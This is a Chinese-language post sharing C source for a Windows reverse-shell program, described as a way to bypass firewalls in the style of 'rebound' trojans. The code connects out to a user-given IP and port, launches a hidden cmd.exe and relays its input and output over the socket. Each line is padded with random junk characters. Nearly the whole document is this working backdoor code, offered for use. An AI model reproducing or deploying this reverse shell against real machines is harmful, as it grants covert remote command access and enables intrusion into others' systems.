Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 _z#"BN  
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/* ============================== 0I.KHIBk  
Rebound port in Windows NT %j\&}>P4$  
By wind,2006/7 ui>jJ(  
===============================*/ Kzrd<h]`)  
#include uP* kvi:e  
#include RxqNgun@  
vQ}ZfP  
#pragma comment(lib,"wsock32.lib") x#`p.sfVo  
:xr^E]  
void OutputShell(); N)"8CvQL  
SOCKET sClient; [_JdV(]$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vi}16V84l  
*<sc[..)  
void main(int argc,char **argv) ~pZ0B#K J  
{ &{? M} 2I  
WSADATA stWsaData; sbmtx/%U  
int nRet; kU/MvoV  
SOCKADDR_IN stSaiClient,stSaiServer; WJD2(el  
jQV[zcM  
if(argc != 3) )YAa7\Od  
{ }>6e-]MHfR  
printf("Useage:\n\rRebound DestIP DestPort\n"); VFf;|PHS  
return; Q2 !GWz$  
} f5*qlQJFz\  
ZR\N~.  
WSAStartup(MAKEWORD(2,2),&stWsaData); A M[f  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C>Hdp_Lm  
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stSaiClient.sin_family = AF_INET; v;\cM/&5  
stSaiClient.sin_port = htons(0); BI?, 3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G[ U5R?/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )8C`EPe  
{ m538p.(LIR  
printf("Bind Socket Failed!\n"); $Y7VA  
return; :%h1Q>F  
} Tv"T+!Z  
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stSaiServer.sin_family = AF_INET; $_F_%m"\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j;`pAN('  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rci,&>L"  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C4(xtSJSd!  
{ q\<l"b z  
printf("Connect Error!"); \OVFZ D  
return; Z5'^81m$o  
} ~ L4NK#  
OutputShell(); 1Of(O!  
} B<I(t"s  
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void OutputShell() lNxP  
{ .6`r`|=  
char szBuff[1024]; [ iTP:8  
SECURITY_ATTRIBUTES stSecurityAttributes; <OEIG0  
OSVERSIONINFO stOsversionInfo; 4,;*sc6*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LVg#E*J  
STARTUPINFO stStartupInfo; /[_aK0U3  
char *szShell; )IcSdS0@M  
PROCESS_INFORMATION stProcessInformation; 5! );4+  
unsigned long lBytesRead; =;-C;gn:w  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {j$2=0Cec  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y!1X3X,V  
stSecurityAttributes.lpSecurityDescriptor = 0; Jpduk&u  
stSecurityAttributes.bInheritHandle = TRUE; b3%x&H<j  
MZ}0.KmaZ  
T*/I4"  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r{.pXf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j;.P  
B}TY+@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i6HRG\9nU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~qqxHymc  
stStartupInfo.wShowWindow = SW_HIDE; <<LLEdB  
stStartupInfo.hStdInput = hReadPipe; bRu9*4t  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^gcB+  
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GetVersionEx(&stOsversionInfo); xF{%@t  
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switch(stOsversionInfo.dwPlatformId) '/<\X{l8  
{ "a2|WKpD  
case 1: 4vbGXb}!  
szShell = "command.com";
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break; -]
^JaQw  
default:
;+\h$  
szShell = "cmd.exe"; b|-)p+ba  
break; ;-`NT` #2  
} SY5}Bu#  
(xW+* %  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =u}~\ 'd  
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send(sClient,szMsg,77,0); .T7CMkYt  
while(1) zd%f5L('  
{ iYBc4'X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c/+6M  
if(lBytesRead) )K?7(H/j  
{ 02Vfg42  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a2.6S./  
send(sClient,szBuff,lBytesRead,0); LC]0c)v#  
} /4(HVua  
else =!L}/Dl  
{ }kt%dDU  
lBytesRead=recv(sClient,szBuff,1024,0); P@@MQ[u?!.  
if(lBytesRead<=0) break; *jhgCm  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'nPI zK<v  
} =-Hhm($n  
} .I~:j`K6  
WA2NjxYz  
return; [q%`q`EG  
}